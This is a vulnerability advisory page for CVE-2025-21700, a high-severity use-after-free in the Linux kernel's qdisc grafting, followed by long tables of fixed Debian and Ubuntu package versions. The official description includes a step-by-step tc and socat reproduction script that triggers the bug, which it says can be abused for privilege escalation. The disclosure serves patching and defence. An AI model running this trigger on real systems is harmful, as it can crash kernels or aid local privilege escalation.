Vulnerability · Published Feb 13, 2025 · Assigned by Linux

CVE-2025-21700net: sched: Disallow replacing of child qdisc from one parent to another

High 7.8

In plain English

A high-severity use-after-free in Linux from Linux. There are no confirmed reports of exploitation so far. The chance it is exploited in the next 30 days is estimated at 0.2% (higher than 14% of all known vulnerabilities). Fixed versions are available - upgrade the affected package.

Severity (CVSS 3.1)7.8High
Exploit odds (30 days)0.2%top 85.8% of all CVEs
Exploited in the wildNo reportsCISA SSVC: none
Attack toolingNoneno public tooling known

Official description

In the Linux kernel, the following vulnerability has been resolved: net: sched: Disallow replacing of child qdisc from one parent to another Lion Ackermann was able to create a UAF which can be abused for privilege escalation with the following script Step 1. create root qdisc tc qdisc add dev lo root handle 1:0 drr step2. a class for packet aggregation do demonstrate uaf tc class add dev lo classid 1:1 drr step3. a class for nesting tc class add dev lo classid 1:2 drr step4. a class to graft qdisc to tc class add dev lo classid 1:3 drr step5. tc qdisc add dev lo parent 1:1 handle 2:0 plug limit 1024 step6. tc qdisc add dev lo parent 1:2 handle 3:0 drr step7. tc class add dev lo classid 3:1 drr step 8. tc qdisc add dev lo parent 3:1 handle 4:0 pfifo step 9. Display the class/qdisc layout tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 limit 1000p qdisc drr 3: dev lo parent 1:2 step10. trigger the bug <=== prevented by this patch tc qdisc replace dev lo parent 1:3 handle 4:0 step 11. Redisplay again the qdiscs/classes tc class ls dev lo class drr 1:1 root leaf 2: quantum 64Kb class drr 1:2 root leaf 3: quantum 64Kb class drr 1:3 root leaf 4: quantum 64Kb class drr 3:1 root leaf 4: quantum 64Kb tc qdisc ls qdisc drr 1: dev lo root refcnt 2 qdisc plug 2: dev lo parent 1:1 qdisc pfifo 4: dev lo parent 3:1 refcnt 2 limit 1000p qdisc drr 3: dev lo parent 1:2 Observe that a) parent for 4:0 does not change despite the replace request. There can only be one parent. b) refcount has gone up by two for 4:0 and c) both class 1:3 and 3:1 are pointing to it. Step 12. send one packet to plug echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10001)) step13. send one packet to the grafted fifo echo "" | socat -u STDIN UDP4-DATAGRAM:127.0.0.1:8888,priority=$((0x10003)) step14. lets trigger the uaf tc class delete dev lo classid 1:3 tc class delete dev lo classid 1:1 The semantics of "replace" is for a del/add _on the same node_ and not a delete from one node(3:1) and add to another node (1:3) as in step10. While we could "fix" with a more complex approach there could be consequences to expectations so the patch takes the preventive approach of "disallow such config". Joint work with Lion Ackermann <nnamrec@gmail.com>

Affected packages & fixed versions

EcosystemPackageFixed inAdvisory
Debian:12linux6.1.129-1DEBIAN-CVE-2025-21700
Debian:13linux6.12.13-1DEBIAN-CVE-2025-21700
Debian:14linux6.12.13-1DEBIAN-CVE-2025-21700
Ubuntu:22.04:LTSlinux5.15.0-138.148UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux5.15.0-138.148USN-7455-1
Ubuntu:24.04:LTSlinux6.8.0-58.60UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-allwinner-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-aws5.15.0-1082.89UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-aws5.15.0-1082.89USN-7455-1
Ubuntu:24.04:LTSlinux-aws6.8.0-1027.29UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-aws-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-aws-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-aws-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-aws-6.86.8.0-1027.29~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure5.15.0-1087.96USN-7455-1
Ubuntu:22.04:LTSlinux-azure5.15.0-1087.96UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-azure6.8.0-1027.32UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-azure-6.116.11.0-1013.13~24.04.1USN-7448-1
Ubuntu:24.04:LTSlinux-azure-6.116.11.0-1013.13~24.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure-6.86.8.0-1027.32~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure-fde5.15.0-1087.96.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure-fde5.15.0-1087.96.1USN-7455-1
Ubuntu:22.04:LTSlinux-azure-fde-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-azure-fde-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-azure-nvidia6.8.0-1014.15UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gcp5.15.0-1081.90UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gcp5.15.0-1081.90USN-7455-1
Ubuntu:24.04:LTSlinux-gcp6.8.0-1028.30UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gcp-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-gcp-6.116.11.0-1013.13~24.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gcp-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gcp-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gcp-6.86.8.0-1028.30~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gke5.15.0-1079.85UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gke5.15.0-1079.85USN-7455-1
Ubuntu:24.04:LTSlinux-gke6.8.0-1023.27UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gkeop5.15.0-1064.72UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-gkeop5.15.0-1064.72USN-7455-1
Ubuntu:24.04:LTSlinux-gkeop6.8.0-1010.12UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-hwe-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-hwe-6.116.11.0-24.24~24.04.1USN-7445-1
Ubuntu:24.04:LTSlinux-hwe-6.116.11.0-24.24~24.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-hwe-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-hwe-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-hwe-6.86.8.0-58.60~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-ibm5.15.0-1074.77USN-7455-1
Ubuntu:22.04:LTSlinux-ibm5.15.0-1074.77UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-ibm6.8.0-1024.24UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-ibm-6.86.8.0-1024.24~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-intel-iot-realtimeno fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-intel-iotg5.15.0-1077.83USN-7455-1
Ubuntu:22.04:LTSlinux-intel-iotg5.15.0-1077.83UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-kvm5.15.0-1078.83UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-kvm5.15.0-1078.83USN-7455-1
Ubuntu:22.04:LTSlinux-lowlatency5.15.0-138.148UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-lowlatency5.15.0-138.148USN-7455-1
Ubuntu:24.04:LTSlinux-lowlatency6.8.0-58.60.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-lowlatency-hwe-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-lowlatency-hwe-6.116.11.0-1012.13~24.04.1UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-lowlatency-hwe-6.116.11.0-1012.13~24.04.1USN-7445-1
Ubuntu:22.04:LTSlinux-lowlatency-hwe-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-lowlatency-hwe-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-lowlatency-hwe-6.86.8.0-58.60.1~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-nvidia5.15.0-1076.77USN-7455-1
Ubuntu:22.04:LTSlinux-nvidia5.15.0-1076.77UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-nvidia6.8.0-1026.29UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-nvidia-6.116.11.0-1007.7UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-nvidia-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-nvidia-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-nvidia-6.86.8.0-1026.29~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-nvidia-lowlatency6.8.0-1026.29.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-nvidia-tegra5.15.0-1035.35USN-7455-1
Ubuntu:22.04:LTSlinux-nvidia-tegra5.15.0-1035.35UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-nvidia-tegra6.8.0-1008.8UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-nvidia-tegra-igx5.15.0-1023.23USN-7455-1
Ubuntu:22.04:LTSlinux-nvidia-tegra-igx5.15.0-1023.23UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oem-5.17no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oem-6.0no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oem-6.1no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-oem-6.116.11.0-1020.20USN-7445-1
Ubuntu:24.04:LTSlinux-oem-6.116.11.0-1020.20UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oem-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-oem-6.86.8.0-1026.26UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oracle5.15.0-1079.85UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oracle5.15.0-1079.85USN-7455-1
Ubuntu:24.04:LTSlinux-oracle6.8.0-1024.25UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oracle-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-oracle-6.86.8.0-1024.25~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-raspi5.15.0-1076.79UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-raspi5.15.0-1076.79USN-7455-1
Ubuntu:24.04:LTSlinux-raspi6.8.0-1028.32UBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-raspi-realtimeno fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-realtimeno fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-realtimeno fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-riscvno fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-riscv6.8.0-58.60.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-riscv-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-riscv-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-riscv-6.86.8.0-58.60.1~22.04.1UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-starfive-5.19no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-starfive-6.2no fix listedUBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-starfive-6.5no fix listedUBUNTU-CVE-2025-21700
Ubuntu:24.04:LTSlinux-xilinx6.8.0-1017.18UBUNTU-CVE-2025-21700
Ubuntu:22.04:LTSlinux-xilinx-zynqmp5.15.0-1046.50USN-7475-1
Ubuntu:22.04:LTSlinux-xilinx-zynqmp5.15.0-1046.50UBUNTU-CVE-2025-21700

Affected products (as reported)

VendorProductVersions
Linux Linux 1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before cd796e269123e1994bfc4e99dd76680ba0946a971da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before fe18c21d67dc7d1bcce1bba56515b1b0306db19b1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before 38646749d6e12f9d80a08d21ca39f0beca20230d1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before deda09c0543a66fa51554abc5ffd723d99b191bf1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before 7e2bd8c13b07e29a247c023c7444df23f9a79fd81da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before 73c7e1d6898ccbeee126194dcc05f58b8a795e701da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before 46c59ec33ec98aba20c15117630cae43a01404cc1da177e4c3f41524e886b7f1b8a0c1fc7321cac2 – before bc50835e83f60f56e9bec2b392fb5544f250fb6f
Linux Linux 2.6.12

Weakness: CWE-416 · Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

References